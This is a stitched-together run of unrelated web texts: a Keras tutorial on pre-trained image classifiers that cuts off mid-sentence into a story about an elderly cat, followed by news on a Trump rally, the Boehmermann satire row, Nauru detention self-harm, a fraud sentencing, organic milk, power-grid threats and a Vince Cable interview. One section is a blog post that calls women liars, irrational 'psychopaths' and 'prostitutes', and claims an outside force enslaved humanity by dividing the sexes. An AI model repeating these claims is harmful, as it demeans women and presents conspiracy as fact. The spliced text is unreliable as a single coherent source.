Another problem, related to deep networks is that even if you get the data, it takes a large amount of time to train the network ( hundreds of hours ). Thus, it takes a lot of time, money and effort to train a deep network successfully.
Fortunately, we can leverage the models already trained on very large amounts of data for difficult tasks with thousands of classes. Many Research groups share the models they have trained for competitions like ILSVRC. The models have been trained on millions of images and for hundreds of hours on powerful GPUs. Most often we use these models as a starting point for our training process, instead of training our own model from scratch.
Enough of background, let’s see how to use pre-trained models for image classification in Keras.
Download CodeTo easily follow along this tutorial, please download code by clicking on the button below. It’s FREE! Download Code
Pre-trained models present in Keras
The winners of ILSVRC have been very generous in releasing their models to the open-source community. There are many models such as AlexNet, VGGNet, Inception, ResNet, Xception and many more which we can choose from, for our own task. Apart from the ILSVRC winners, many research groups also share their models which they have trained for similar tasks, e.g, MobileNet, SqueezeNet etc.
These networks are trained for classifying images into one of 1000 categories or classes.
Keras comes bundled with many models. A trained model has two parts – Model Architecture and Model Weights. The weights are large files and thus they are not bundled with Keras. However, the weights file is automatically downloaded ( one-time ) if you specify that you want to load the weights trained on ImageNet data. It has the following models ( as of Keras version 2.1.2 ):
VGG16,
InceptionV3,
ResNet,
MobileNet,
Xception,
InceptionResNetV2
Loading a Model in Keras
We can load the models in Keras using the following code
import keras import numpy as np from keras.applications import vgg16, inception_v3, resnet50, mobilenet #Load the VGG model vgg_model = vgg16.VGG16(weights='imagenet') #Load the Inception_V3 model inception_model = inception_v3.InceptionV3(weights='imagenet') #Load the ResNet50 model resnet_model = resnet50.ResNet50(weights='imagenet') #Load the MobileNet model mobilenet_model = mobilenet.MobileNet(weights='imagenet')
In the above code, we first import the python module containing the respective models. Then we load the model architecture and the imagenet weights for the networks. If you don’t want to initialize the network with imagenet weights, replace ‘imagenet’ with None.
Loading and pre-processing an image
We can load the image using any library such as OpenCV, PIL, skimage etc. Keras also provides an image module which provides functions to import images and perform some basic pre-processing required before feeding it to the network for prediction. We will use the keras functions for loading and pre-processing the image. Specificallly, we perform the following steps on an input image:
Load the image. This is done using the load_img() function. Keras uses the PIL format for loading images. Thus, the image is in width x height x channels format. Convert the image from PIL format to Numpy format ( height x width x channels ) using image_to_array() function. The networks accept a 4-dimensional Tensor as an input of the form ( batchsize, height, width, channels). This is done using the expand_dims() function in Numpy.
from keras.preprocessing.image import load_img from keras.preprocessing.image import img_to_array from keras.applications.imagenet_utils import decode_predictions import matplotlib.pyplot as plt %matplotlib inline filename = 'images/cat.jpg' # load an image in PIL format original = load_img(filename, target_size=(224, 224)) print('PIL image size',original.size) plt.imshow(original) plt.show() # convert the PIL image to a numpy array # IN PIL - image is in (width, height, channel) # In Numpy - image is in (height, width, channel) numpy_image = img_to_array(original) plt.imshow(np.uint8(numpy_image)) plt.show() print('numpy array size',numpy_image.shape) # Convert the image / images into batch format # expand_dims will add an extra dimension to the data at a particular axis # We want the input matrix to the network to be of the form (batchsize, height, width, channels) # Thus we add the extra dimension to the axis 0. image_batch = np.expand_dims(numpy_image, axis=0) print('image batch size', image_batch.shape) plt.imshow(np.uint8(image_batch[0]))
Output
(‘PIL image size’, (224, 224))
(‘numpy array size’, (224, 224, 3))
(‘image batch size’, (1, 224, 224, 3))
Predicting the Object Class
Once we have the image in the right format, we can feed it to the network and get the predictions. The image we got in the previous step should be normalized by subtracting the mean of the ImageNet data. This is because the network was trained on the images after this pre-processing. We follow the following steps to get the classification results.A blind British cat claiming the title of the world's oldest has died a month after his 30th birthday.
Owner Lorraine Arnott, 34, was only five when he was born and they have been inseparable ever since. But when he began to lose weight and struggled to walk last week, she knew it was time for him to be put down - at 30 years, one month and 10 days old.
Ms Arnott, a school transport assistant, said: "He had been ill for a few days and he could not stand up. Unfortunately, it was time to say goodbye and I could not see him suffer. I wish it was me that died, I have lost everything and I've got nothing left.
"He was better than any brother or boyfriend. There will be no replacement for him. He used to give lovely kisses by putting his paws on my chest and started kissing me on the lips."
'It was time to say goodbye and I could not see him suffer. I wish it was me that died, I have lost everything and I've got nothing left...' - Whiskey's owner Lorraine Arnott
Ms Arnott, from Aston Clinton, Buckinghamshire, buried Whiskey - who was on medication for his ailing kidneys - in the garden on Friday, September 11.
Revealing the secret to his long life, she said she had always fed Whiskey a low-protein diet during his adult life.
"But he was fussy," said Ms Arnott. "He'd always have a roast dinner with chicken or lamb too. In his last days, he ate 10 sachets of Morrisons cat food and he loved it. I gave him lots of love and he always slept under my duvet. He was always warm."
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Tributes to the well-loved cat have been pouring in from friends and fans and Ms Arnott expects as many cards to come in as when her other cat Rosie died aged 25. She said Whiskey's mother, Lady, lived until 27.
Whiskey survived a fire at his home last year and Ms Arnott said he put his paw over his face to stop him breathing in smoke.
He was born with both ovaries and testes, but after an operation he was firmly a male. He lost his eyesight as a result of kidney failure.There is no shortage of controversies surrounding Trump's appearance tonight in Phoenix that could turn what is supposed to be a peaceful political rally into complete chaos. With Trump's reaction to the Charlottesville tragedy still fresh in the minds of political activists on the left, there are expected to be as many protesters outside the Phoenix Convention Center as there are inside watching the President's speech. Sprinkle on top of that the fact that Trump could comment on a potential pardon of Sheriff Joe Arpaio and/or blast Arizona Senators John McCain and Jeff Flake and you have all the ingredients of another national disaster in the making.
As The Hill points out, the Phoenix Police Department has planned for "maximum staffing" during Trump's visit and the FBI and DHS are also coordinating on the event.
Political leaders and law enforcement officials in Arizona are on high alert ahead of President Trump’s campaign rally Tuesday night in Phoenix. The big question is whether there will be more supporters of Trump inside the Phoenix Convention Center, which holds 29,000, or protestors outside. Phoenix Police Chief Jeri Williams said in a statement that her force will have “maximum staffing during the visit.” The department is “working 24/7 with our partners to ensure all of our resources are in place,” Williams said. Stanton said the city is committed to keeping everyone inside and outside the arena safe. “The Phoenix police is always professional and the FBI and Department of Homeland Security have been great about coordinating with local law enforcement,” former Arizona GOP chairman Robert Graham told The Hill.
Meanwhile, Phoenix Police Chief Jeri Williams offered the following warning to protesters:
"There is a distinct difference between voicing your first amendment rights and committing unlawful acts. As always, free speech will be supported but criminal conduct will be immediately addressed."
Of course, racial tensions arising from Charlottesville are only part of what makes tonight's rally a recipe for disaster. Some fear that Trump could use the occassion to announce that he'll pardon Maricopa County's controversial former Sheriff, Joe Arpaio, who was found guilty of racially profiling hispanics and sentenced to jail time.
The president has mused publicly about pardoning controversial former Maricopa County Sheriff Joe Arpaio, an early Trump supporter who was found guilty of racially profiling Latinos. Arpaio, who was prosecuted and convicted of racial profiling by former President Obama’s Justice Department, is a well-known and controversial figure in Phoenix. Democrats are warning that a public pardon at a campaign rally would stoke racial tensions at a time when the nation is on edge. Stanton said a pardon would “enflame emotions and further divide our nation,” while Rep. Ruben Gallego (D-Ariz.) said Arpaio “shouldn’t be let off the hook for his crimes” just so Trump can win “some bonus points with his most racist supporters.” But some Republicans in the state believe Arpaio was railroaded by the Obama Justice Department and are eager to see his name cleared. Rep. Andy Biggs (R-Ariz.) released a statement on Monday calling Arpaio’s conviction “the culmination of a political witch hunt by the Obama administration to sideline and destroy a formidable opponent.” "Sheriff Arpaio has been a faithful servant of this nation for over six decades,” Biggs said. “He should be allowed to live out the rest of his days in peace and confidence that his efforts were not in vain.”
And then there is Trump's growing fued with Arizona Senator Jeff Flake whose book “Conscience of a Conservative,” which argues that Republicans must reclaim the soul of their party from Trump, apparently didn't sit well with the White House.
Speculation is rampant among political operatives in Arizona about whether Trump will meddle in the state’s 2018 primary, where Flake has attracted a primary challenger in state Sen. Kelli Ward (R), who will attend the rally — though not as a guest of Trump’s. The president has not made an endorsement in Flake’s race but has tweeted support for Ward, a former state senator who is not viewed as a credible challenger by many establishment Republicans. A super PAC supporting Ward’s bid has received a $300,000 donation from conservative mega-donor Robert Mercer and several operatives from a pro-Trump outside group have peeled off to work for her.
Great to see that Dr. Kelli Ward is running against Flake Jeff Flake, who is WEAK on borders, crime and a non-factor in Senate. He's toxic! — Donald J. Trump (@realDonaldTrump) August 17, 2017
Finally, of course, we all know how Trump feels about John McCain who cast the deciding vote to kill the Obamacare repeal bill just before the August recess.
The fireworks are set to start at 7pm local time...Image copyright Reuters Image caption Satirist Jan Boehmermann told his audience that the contents of the poem were barred under Germany's criminal code
A German TV comic, Jan Boehmermann, has been placed under police protection after he read an obscene poem about Turkish President Recep Tayyip Erdogan.
A police spokesperson said a patrol car had been parked in front of his house.
Mr Erdogan has filed a criminal complaint against the satirist in a case that has prompted a debate in Germany over freedom of speech.
German prosecutors are investigating whether he broke a law against insulting foreign leaders.
Public broadcaster ZDF announced earlier on Tuesday that his weekly satire programme would not go ahead this week because of the "vast amount of media reporting and the resulting focus on the programme and its presenter".
Image copyright Reuters Image caption Turkey had already protested to Germany over an earlier TV programme mocking President Erdogan's authoritarian policies
It was not immediately clear if a concrete threat had been made against Boehmermann but Cologne police told German media: "When you can't rule something out then you have to do something."
Bild website reported that the satirist and his family were apparently facing a threat from supporters of the Turkish president. No request for protection measures had come from the comic but were a result of risk analysis, reports said.
A satirist's step too far? By Damien McGuinness, BBC News, Berlin
Image copyright ZDF Image caption Boehmermann has relentlessly poked fun at German society
To some the poem was puerile, vulgar and irresponsible at a time when Europe needs Turkish help in the refugee crisis.
To others it was an ingenious work of subversive art, which highlighted the importance of freedom of speech: a sketch in which even President Erdogan is now playing his part.
Either way, Jan Boehmermann always goes a step further than polite society generally allows. Clever, funny and complicated, he has singlehandedly revolutionised German state broadcasting.
During the height of tensions between Athens and Berlin over the Greek debt crisis Boehmermann portrayed Greek Finance Minister Yanis Varoufakis as a vengeful motorbike-riding sex bomb. But it was his fellow Germans, and the rest of the media establishment, that the comedian was mocking.
A jaunty 1930's-style Springtime for Hitler remake wittily highlighted the similarities between the views of the anti-migrant party AfD and Nazi-era politics.
Even refugee helpers have been fair game, as Boehmermann mercilessly portrayed modern, multi-cultural Germans as a self-righteous unstoppable horde of muesli-eating, Birkenstock-wearing sexual perverts.
But for Boehmermann's many fans the fear is now that taking on Turkey's president has been a step too far.
Boehmermann, considered Germany's most incisive satirist, had read the obscene poem on his Neo Magazin Royale programme on 31 March, making clear that it included material that broke German laws on free speech. Section 103 of the criminal code bans insulting representatives or organs belonging to foreign states.
In particular, the poem made references to sex with goats and sheep, as well as repression of Turkish minorities.
Image copyright AP Image caption The German chancellor spoke to Turkish PM Ahmet Davutoglu after Boehmermann's poem was broadcast
Days earlier, another German TV programme that poked fun at President Erdogan had prompted the Turkish government to summon the German ambassador in protest.
On that occasion, both Germany and the EU insisted that press freedom was inviolable.
However, Chancellor Angela Merkel became involved in the latest row, when she told Turkish Prime Minister Ahmet Davutoglu that Boehmermann's poem had been "deliberately offensive". The poem itself has been removed from ZDF's website.
Although a number of viewers complained about the broadcast, Chancellor Merkel has herself been criticised by political opponents for jeopardising freedom of speech in order to shore up the EU-Turkey deal on returning migrants from the Greek islands.
Hannelore Kraft, state premier of North-Rhine Westphalia where the satirist lives, tweeted that freedom of satire was part of German democracy: "This should not be put in doubt. Certainly not through external political pressure."
Mrs Merkel emphasised on Tuesday that the deal with Turkey bore no relation to the legal action facing Jan Boehmermann. "Freedom of the press, opinion and science apply and are completely separate from that," she insisted.
The German chancellor had been expected to visit Turkey in the coming days, to open facilities built for refugees with EU funding. However, her spokesman made clear on Monday that there were no immediate plans for a trip.The Manipulated Man
During the past weekend I came across an interesting book by Esther Vilar titled “The Manipulated Man.” If you haven’t read it yet, I recommend reading it, as there’s a lot of truth in the book. In fact, I recommend reading this book before you decide to get married, or commit yourself in any kind of (exclusive) relationship with the opposite sex!
In her book Vilar explains that men are being manipulated into becoming slaves for most of their lives, and her observations in that regard are spot on. However, Vilar blames everything on women, and this is where she’s wrong. In fact, this is a big contradiction throughout her book that she completely overlooked.
She correctly observes that men and women have the same intellectual potential, but that women don’t go on to develop their intellectual potential in life while men do — which has mostly been true for thousands of years and up to present time (although it’s beginning to change). Here’s a quote from her book:
At birth, men and women have the same intellectual potential; there is no primary difference in intelligence between the sexes. It is also a fact that potential left to stagnate will atrophy. Women do not use their mental capacity: they deliberately let it disintegrate. After a few years of sporadic training, they revert to a state of irreversible mental torpor. Why do women not make use of their intellectual potential? For the simple reason that they do not need to. It is not essential for their survival. Theoretically it is possible for a beautiful woman to have less intelligence than a chimpanzee and still be considered an acceptable member of society. By the age of twelve at the latest, most women have decided to become prostitutes. Or, to put it another way they have planned a future for themselves which consists of choosing a man and letting him do all the work. In return for his support, they are prepared to let him make use of their vagina at certain given intervals. The minute a woman has made this decision she ceases to develop her mind. She may, of course, go on to obtain various degrees and diplomas. These increase her market value in the eyes of men, for men believe that a woman who can recite things by heart must also know and understand them. But any real possibility of communication between the sexes ceases at this point. Their paths are divided forever.
She then goes on to argue, on the one hand, that women are very unintelligent and stupid and love to keep themselves that way, while on the other hand she credits women with putting a very elaborate plan in place for the enslavement of men, while also managing to keep the deception of these vastly more intelligent men (as she also points out) going on for a very long time.
This doesn’t make sense, and in fact my research has shown that the source of these problems and manipulations between men and women has to be sought outside of the human race. As I point out in my post “Sexual Suppression and Repression I: Definition and Origin”, there’s a lot of evidence pointing to the fact that humankind was enslaved by an outside force, using tactics of divide and conquer applied at the fundamental level of the sexes. By dividing the human race at the level of the sexes — by creating constant opposition and conflicts between men and women (playing men and women out against each other) — they were able to conquer and enslave the entire race. In this regard, Vilar does correctly observe that “any real possibility of communication between the sexes ceases at this point. Their paths are divided forever.”
So not only are women not the root cause of men being manipulated in society, but women were the primary attack vector that was used to enslave humankind, as I explain in great detail in the aforementioned posts. It’s very, very, important to realize and understand this. And while it’s true that women have historically not spent a great deal of time developing their intellectual potential, Vilar apparently failed to realize that this is largely to blame on society, especially the social conditioning that women received starting from very early childhood that killed their curiosity and ambition. In fact, as I discuss with a lot of evidence in my post on marriage, throughout history it’s mostly been women who were being enslaved by men.
In addition to Vilar’s remarks that “men and women have the same intellectual potential” I would also like to point out that men and women also have a similar sex drive by nature (or the same sexual potential). I discuss this in more details in the fourth and fifth part of my Understanding Women series. Like I mention there, the differences we see today between the male and female sex drives are the result of social conditioning, especially the social brainwash which is targeted at women starting from very early childhood and conditions them to suppress and even repress their sexuality. Vilar also admits this in her book:
By the age of five, any girl will have been persuaded that she wants to get married and have a home and children; and when girls are ten, fifteen, or twenty, they still want the same things. […] By the age of twelve at the latest, most women have decided to become prostitutes.
As I’ve shown in the first part of my series on Understanding Women, female sexual suppression and repression cause women to interpret their natural desire for sexual satisfaction in a completely different and misleading way. That sexual energy is often harnessed to drive the consumerism in our current societies around the world. Like I mentioned:
[…] did you ever wonder what’s up with women’s seemingly insatiable desire for clothes, shoes, jewelry and related items? It’s like they can never have enough of those. By now you probably already have a pretty good idea why this is the case. But in case you don’t, here’s the answer: They’re simply compensating for their chronic lack of sexual satisfaction. Because it’s very difficult for them to satisfy their sexual desires, they try to compensate for it by focusing their attention on other things that make them feel better about themselves in order to get some kind of feeling as if they’re getting the satisfaction they need. But this never works for the long term because the root problem keeps existing, namely, their repressed sexual desires keep longing for satisfaction. So women find themselves in a situation of perpetual discontent. So by the time they get the new shoes they’ve been longing for, they’re already looking to get the next pair.
And Vilar agrees:
A woman will certainly feel happy when she has an orgasm – but it is not the most intense pleasure she knows. A cocktail party, or buying a new pair of aubergine-colored patent-leather boots, rates far higher.
Female sexual suppression and repression are also the root cause of women’s irrationality and their often difficult and unpredictable behavior. This is also something that Vilar admits in her book:
The most important requirements for woman’s divinity are, however, her propensity to masquerade and her stupidity. A system must either overwhelm its believers with its greatly superior wisdom or confuse them with its incomprehensibility. As the first possibility is unavailable to women, they take advantage of the second. Their masquerade causes them to appear strange and mysterious to men; their stupidity makes them inaccessible to scrutiny. While intelligence shows itself in actions that are reasonable and logical, hence permits measurement, predictability, and control, stupidity shows itself in actions that are completely unreasonable, unpredictable and uncontrollable. Women are protected by a screen of pomp, mummery, and mystification as much as any Pope or dictator: they cannot be unmasked and will increase their power unhindered, gaining strength as they go. In return man is guaranteed, in the long term, a divinity in which he can deeply believe. … Women, however, can lie with a clear conscience. They are not involved in the process of work, so their lies will harm only one person – usually the husband. And, if it is not discovered, it is not a lie at all – it is ‘feminine guile.’
Anyone who has read my article series on Understanding Women, should be able to understand women and explain their irrational behavior, and in fact, should even be able to predict their irrational behavior to a very great extent. Yes, there was a time when women seemed strange and mysterious to men and even to themselves (most women don’t even understand themselves), but that time is quickly coming to an end now.
And the reason why women “can lie with a clear conscience,” as Vilar correctly points out, is because they’ve been trained to do this from very early childhood. In fact, they’ve been trained to lie even to themselves when it comes to one of their basic and most important human needs — sexual satisfaction. Watch the below video for evidence.
Lying and irrationality have become second nature to women out of pure necessity (necessary to getting accepted in society in order to survive). It’s mind-boggling to witness the extent at which women can convincingly and frequently lie to others and even to themselves. Women have essentially been turned into some of the worst psychopaths in society, even resorting to emotional manipulation to back their lies, and Vilar certainly agrees:
What an advantage a man would have if only he realized the cold, clear thoughts running through a woman’s head while her eyes are brimming with tears.
The reason why women are targeted with sexual suppression and repression brainwash (a lot more so than men), is in order to be able to manipulate and enslave men. I’ve discussed this in details in my article series on Understanding Women; here’s a quote from the fourth part:
Professor Baumeister also mentions the following: I have not exhausted all the ways that culture exploits men. Certainly there are others. The male sex drive can be harnessed to motivate all sorts of behaviors and put to work in a kind of economic marketplace in which men give women other resources (love, money, commitment) in exchange for sex. This is essentially what I’ve also shown in the previous parts of this series, and I believe that this is the real purpose of all the manipulation that has been going on. All of this is to exploit men and motivate them to work. We’re really modern slaves being used by those who are in control. One of their attack vectors has been our women. I’ve written about this in more detail in the third part of this series and in the second part we’ve seen how our sexual energy is being harnessed when I discussed the documentary “The Century of the Self” and Dr. Freud’s theories. Remember how I discussed the movie “The Never Ending Story” where the hero, Atreyu, had to go through so much unnecessary (from his perspective) trouble just to get laid in the end? They’ve made our women sick in order to make it difficult for us to satisfy our sexual needs which creates sexual tension. This build up of energy then gets harnessed to motivate us to behave in a way that benefits those who are in control. We’re being manipulated into becoming slaves, or batteries like Morpheus explained to Neo in the movie “The Matrix.”
Female sexual suppression and repression in society force men to work in order to, in the end, “make use of a woman’s vagina at certain given intervals,” as Vilar pointed out. Vilar further explains:
Every method of manipulation is based on the carrot-and-stick principle whose applicability depends to a large extent on the ratio of physical strength possessed by trainer and trainee. When dealing with the young, the carrot is favored as a means of control. It has the advantage of maintaining children’s trust in adults so that even at a later date they will bring their problems to their parents – and so the process of manipulation is continued. This is much more effective than to start with the stick. If a captive dolphin has learned to do a trick well, its trainer throws it a fish. Because the dolphin wants to eat, it will do whatever is asked of it. Man, however, since he earns money is quite capable of providing his own food. It would be impossible to bribe him in this way. He would, in fact, he above bribery altogether were it not for one basic male need which has to be satisfied: the need for physical contact with a woman’s body. This need is so strong and its fulfillment gives man such intense pleasure, that one suspects that it may be the prime reason for his voluntary enslavement to woman. His longing for subjection may even be a facet of his sexual makeup.
Even when it comes to the reasons for why men are bribed with their sexuality, Vilar hits the nail on its head:
No matter what a man’s job may be – bookkeeper, doctor, bus driver, or managing director – every moment of his life will be spent as a cog in a huge and pitiless system – a system designed to exploit him to the utmost, to his dying day. It may be interesting to add up figures and make them tally – but surely not year in, year out? How exciting it must be to drive a bus through a busy town! But always the same route, at the same time, in the same town, day after day, year after year? What a magnificent feeling of power to know that countless workers obey one’s command! But how would one feel if one suddenly realized one was their prisoner and not their master? We have long ceased to play the games of childhood. As children, we became bored quickly and changed from one game to another. A man is like a child who is condemned to play the same game for the rest of his life. … No, one can hardly assume men do all this for pleasure and without feeling a desire for change. They do it because they have been manipulated into doing it: their whole life is nothing but a series of conditioned reflexes, a series of animal acts. A man who is no longer able to perform these acts, whose earning capacity is lessened, is considered a failure. He stands to lose everything – wife, family, home, his whole purpose in life – all the things, in fact, which give him security. … Without really giving the matter any thought, we consider the male sex as a kind of Sisyphus: he has come into the world to learn, to work and to father children: his sons, in their turn, will learn to work, and produce children, and so it will continue forever; it has become almost impossible to think why else men should be here. If a young man gets married, and starts a family and spends the rest of his life working at a soul-destroying job, he is held up as an example of virtue and responsibility. The other type of man, living only for himself, working only for himself, doing first one thing and then another simply because he enjoys it and because he has to keep only himself, sleeping where and when he wants, and facing woman when he meets her on equal terms and not as one of a million slaves, is rejected by society. The free, unshackled man has no place in its midst. How depressing it is to see men, year after year, betraying all that they were born to do. New worlds could he discovered, worlds one hardly dares even to dream of could be opened
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911 Rescue Tool. The guidelines were supplied to a range of detention centre staff at Nauru, including case workers, teachers and security guards. They were prepared by immigration officials in mid-2013, when Labor was in power. It is understood they were also supplied to workers under the current Coalition government, including those who are now seeking compensation for psychological harm. Save the Children said the Department of Immigration and Border Protection issued guidelines for dealing with self-harm incidents. It said welfare staff had qualifications in how to respond to such events and debriefing sessions were held afterwards.
A spokesman for Serco, which runs onshore detention centres, said staff were trained in self-harm and suicide awareness, including "how to use a rescue knife". You see people hanging and you've got to go in there and do something Numerous former Nauru workers told Fairfax Media their training for such situations was inadequate. "They say right, if you go in a room and there's a body hanging there, you deal with it," said one former Wilson Security guard, recalling no more than two hours training in such procedures. "It's not nice to cut people down. You see people hanging and you've got to go in there and do something."
Another source said training improved after 2013, but detainees attempted to thwart efforts to cut them down by making thicker nooses from plaited rope or bed sheets. Fairfax Media has learnt of numerous cases of mental harm suffered by former detention centre workers including post-traumatic stress disorder, depression, anxiety and agoraphobia. In a damages claim being heard in the Supreme Court of Queensland, former Wilson Security worker Martin Humphrey Hill says on his first deployment to Nauru in 2012, which began just days after he was hired, he was forced to cut down a detainee who was hanging. The Department of Immigration and Border Protection did not dispute the authenticity of the guidelines. A spokesman said service providers at offshore detention centres were "provided a broad range of guidance" and "must ensure that all staff are appropriately trained and qualified to deal with any situations that may arise".
It did not respond to questions over what guidelines are currently issued, which workers were given knives or the psychological support available. For help or information call Lifeline 131 114, beyondblue 1300 224 636, Kids Helpline 1800 551 800. Loading Do you know more? Email [email protected] Follow us on TwitterThe disgraced former Sydney Ferries boss says he had "no choice" but to put hundreds of thousands of dollars of personal expenses on his corporate credit card because "I was living beyond my means".
Retired Rear Admiral Geoff Smith was sacked from his job as chief executive of the state-owned Sydney Ferries in March 2009 and referred to the Independent Commission Against Corruption for racking up $273,000 in personal expenses for such things as jewellery, holidays, alcohol, groceries and private school fees.
Mr Smith, 64, a former chief of operations in the Royal Australian Navy, pleaded guilty in April to defrauding Sydney Ferries between May 2008 and February 2009.
In the Sydney District Court on Thursday, Judge Michael Finnane said he would sentence Mr Smith to two years' jail.
However, he referred him for assessment for an intensive correction order, which is similar to home detention and involves wearing an electronic anklet.Similarly, meat selection was once a choice of cut or creature. Now, there's wagyu, free-range, grass-fed, grain-fed, hormone-free, nitrate-free, heart-smart, the list goes on. If you haven't become vegan or collapsed from choice overload, there may be a more simple debate to consider. Is it worth the extra dollars for organic instead of conventional (it is about $3.29 a litre in Woolies for organic versus about $2.15 for conventional, $9.89 for 450g of organic beef mince versus about $5 for conventional)? A new study, the largest of its kind to date, set out to delineate the nutritional differences (ethical differences, are another matter, one arguably of equal or greater importance and justify being a food wanker).
Breaking down the data from 196 studies on milk and 67 on meat from around the world, the British researchers from Newcastle University found that there were clear nutritional differences between conventional and organic meat and dairy. Milk: too many choices. Credit:Getty OMEGA-3 FATTY ACIDS It was found that both organic milk and meat contain about 50 per cent more beneficial omega-3 fatty acids than conventionally produced products. "Omega-3s are linked to reductions in cardiovascular disease, improved neurological development and function, and better immune function," said study co-author Professor Chris Seal.
"But getting enough in our diet is difficult. Our study suggests that switching to organic would go some way towards improving intakes of these important nutrients." Nutritionist and founder of The Health Clinic Pip Reed adds that our bodies can't produce omega-3 fatty acids so we need them from food. "Studies show that three in five Australians don't eat the recommended two to three serves of 150 grams of oily fish per week required for good heart health," Reed says, "and less than 10 per cent of children meet these recommendations which means that having additional sources of omegas available through organic milk and meats is extremely important." FURTHER HEALTH BENEFITS The researchers also found organic meat and dairy contain about 40 per cent more conjugated linoleic acid (CLA) and "slightly higher" concentrations of iron, Vitamin E and some carotenoids.
What on earth is CLA, you ask? "CLA is a natural polyunsaturated fat found in meat and dairy products, and is one of the most popular weight loss supplements," Reed says. "It is technically a natural trans fat, however without the risks that come with artificially made trans fats renowned for damaging our health. "Getting CLA from animal milk products is important, as supplement versions are derived from sunflower and safflower oil, and do not have the same health benefit effect on our bodies." CONVENTIONAL WIN Conventional milk, with 74 per cent more iodine and slightly more selenium, was a winner here.
This is significant given that iodine deficiencies in Australia were considered enough of a problem that, in 2009, mandatory fortification of baked bread and iodised salt was introduced. Now it affects about 12.8 per cent of Australians. "Iodine and selenium are both important essential minerals that help regulate the thyroid hormones, controlling metabolism, body temperature, improve energy levels, as well as aid in detoxification, providing antioxidants, healthy pregnancy and stabilising healthy weight," Reed says. "These two essential minerals, in excess consumption, can cause toxicity, so unless you are deficient in these minerals and/or not eating a well rounded diet then the increase of iodine and selenium in conventional milk may not be of benefit to you." VERDICT
The dietitians: "While we no doubt all agree with not using chemicals if possible and the philosophy of organic farming, we have to question if it can really produce enough food to feed us all?" says Dr Joanna McMillan. "The cost is still prohibitive for most and at the end of the day are these differences clinically significant? Most people just need to eat more real food before they think about whether they can make the switch to organic." "This analysis clearly shows that organic milk has higher concentrations of omega 3 fatty acids than conventional milk. However the analysis also found that grass-fed cattle tend to produce milk with higher levels of omega 3 fatty acids," says Nutrition Plus dietitian Melanie McGrice. "We are blessed to be living in a country where most of our cattle are grass-fed, and they are not locked away in stalls. "The analysis found that organic milk is a more nutritious option, and I'd certainly be in favour of people using it... [but] we don't really drink milk for its omega 3 anyway – for that we should be turning to fish.
"In summary, drink organic milk if you'd like to and can afford it, but conventional milk is still a nutritious choice if you can't." The study author: "People choose organic milk and meat for three main reasons: improved animal welfare, the positive impacts of organic farming on the environment, and the perceived health benefits," said the study author, Professor Carlo Leifert. "But much less is known about impacts on nutritional quality, hence the need for this study. "Several of these differences stem from organic livestock production and are brought about by differences in production intensity, with outdoor-reared, grass-fed animals producing milk and meat that is consistently higher in desirable fatty acids such as the omega-3s, and lower in fatty acids that can promote heart disease and other chronic diseases."A former Navy SEAL with more than a decade of experience explained some of the threats to our nation’s power grid on this week’s “Justice With Judge Jeanine."
“The power grid is amazingly easy to dismantle,” Christopher Mark Heben said. “As an unconventional warfare specialist, I was trained to dismantle and take down power grids in other countries. Believe me, it doesn’t take a doctorate from MIT to figure out how to make an EMP device that will take down not only a substation … but the transmission stations and the distribution stations.”
'Our Death Toll Would Be Staggering': Judge Jeanine on Power Grid Threats
Heben said experts perform threat and vulnerability assessments, but that often, leaders don’t take the recommendations seriously. He said the people who are put in charge of making important decisions often find the recommendations too costly and think they will affect the bottom line.
According to Heben, the Federal Energy Regulatory Commission (FERC) is made up of “desk jockeys” who are not trained in unconventional warfare.
CA Congressman: 'Abundant Evidence of Pre-Planning’ in Power Station Attack
"If our power grids go down, I suggest everyone, you know, stock up on batteries, baby wipes and biscuits because it's gonna be a series of very long, very long nights and months," he said.
“We’ve got problems, Judge, we really do,” he said.
Watch his full interview above.A thick, green arch of privet, honeysuckle and ivy obscures the entrance to Vince Cable’s home. The veteran Liberal Democrat and former cabinet minister has lived in this London town house since he moved to the capital from Glasgow University in 1974. It’s in the heart of Twickenham, the affluent west London constituency he represented for 18 years before the Conservatives defeated him in 2015.
Twickenham Stadium’s steel criss-cross roof looms above us. “I grew up watching rugby league so it’s not in my bloodstream,” he says, smiling, as he hovers in the hallway.
Cable was raised in York by working-class parents who had jobs in chocolate factories. You can still hear the occasional Yorkshire vowel in his southern accent.
As he potters around his house in a crisp, white shirt and navy suit trousers, his slippers are the only hint of a quiet afternoon. But he won’t be relaxing for long. Not only was he re-elected to parliament last month; he is also expected to become the new leader of his party. He will likely be unopposed, after a disappointing election for the Lib Dems and the resignation of Tim Farron. Trying and failing to appeal to Remain voters, the Lib Dems won only 12 seats.
The manifesto called for a second referendum on the Brexit deal. “It didn’t really work,” Cable says. “People thought we were trying to rerun the last referendum and wouldn’t accept the result, whereas actually we’re saying... if we’re faced with a bad outcome, or no outcome, then the public should have an opportunity to move back into the European Union.”
As leader, Cable will continue pushing for this. “It was a very good message for 2020 but not for 2017,” he says. He views anti-Brexit sentiment as a waiting game; if the economy suffers, people will see the Lib Dems as the only true pro-European party.
Having served as business secretary in the coalition and made prescient remarks in the Commons ahead of the financial crisis, Cable is relying on his economic credentials. “Over the next couple of years or so, I think we’ll begin to see real damage being done,” he predicts. “I will just relentlessly hammer home that point.”
We settle in his front room, which is festooned with decorative rugs, wooden statues of Hindu gods and intricately embroidered throws and pouffes. The vibrant decor is a legacy of his late wife, Olympia, who was Indian. Two wedding bands glint on his ring finger – he remarried in 2004 – as he fiddles with his glasses while we talk.
In the late 1960s, Cable returned to Britain with Olympia from Kenya, where he had worked in government for two years. “[We] immediately walked into the ‘rivers of blood’ speech and all the hatred around that, and it was absolutely dreadful,” he recalls, shifting on his leather sofa. “You felt it. It was really nasty.”
Cable believes the EU referendum campaign showed that it is “not difficult to stir up these feelings all over again”. Because of his first wife, he has “always been conscious that that’s lurking in the background”.
So how did he react to his former cabinet colleague Theresa May condemning “citizens of nowhere” in her Conservative conference speech last year?
“I thought that particular phrase was quite evil. It could’ve been taken out of Mein Kampf,” he replies. “I think that’s where it came from, wasn’t it? ‘Rootless cosmopolitans’? It was out of character for her.”
But Cable wishes to move his party beyond Brexit. In particular, he feels that the Liberal Democrats have failed to mobilise young people. “We have to address – and the Labour Party has so far addressed it much more effectively than we have – some fundamental injustice between the generations... and to have an offer, to have an approach, which is attractive again to young people.”
But Cable is 74 years old. Is he the right leader to attract youth support? “There was a phase – was it 20, 30 years ago? – when there was a faith in youth,” he says. “You know, Tony Blair, Nick [Clegg] and others. And the mood has changed. It’s more sober. People are puzzled and angry... and I think they’re willing to listen to people who’ve got some experience, some historical memory, of the way things are.”
